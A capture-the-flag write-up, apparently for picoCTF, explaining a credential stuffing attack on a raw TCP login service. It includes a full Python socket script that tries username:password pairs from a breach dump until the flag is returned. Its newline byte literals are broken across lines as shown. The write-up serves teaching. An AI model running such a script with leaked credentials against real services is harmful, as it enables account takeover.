Credential Stuffing — Raw TCP Automation with Python Sockets

Vulnerability Overview

A raw TCP service accepted username/password credentials from a leaked breach dump, with no rate limiting, no lockout, and no breach monitoring in place. The attack exploits the reality that users reuse passwords across services — credentials leaked from one breach work on others.

Technical Challenge

The service operated over raw TCP via nc, not HTTP — meaning requests was not applicable. Python's socket library was required to interact with the interactive prompt correctly, including waiting for each prompt before sending input.

import socket

def recv_until(s, prompt):
    data = b""
    while prompt not in data:
        data += s.recv(1024)
    return data

with open("creds-dump.txt") as f:
    for line in f:
        username, password = line.strip().split(";")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("crystal-peak.picoctf.net", 52435))
        recv_until(s, b"Username:")
        s.send(username.encode() + b"
")
        recv_until(s, b"Password:")
        s.send(password.encode() + b"
")
        response = s.recv(1024).decode()
        if "picoCTF" in response:
            print(f"Found: {username}:{password}")
            print(response)
            break
        s.close()

A fresh socket connection was opened per attempt because the service terminated the connection on failed login — a common pattern in raw TCP authentication services.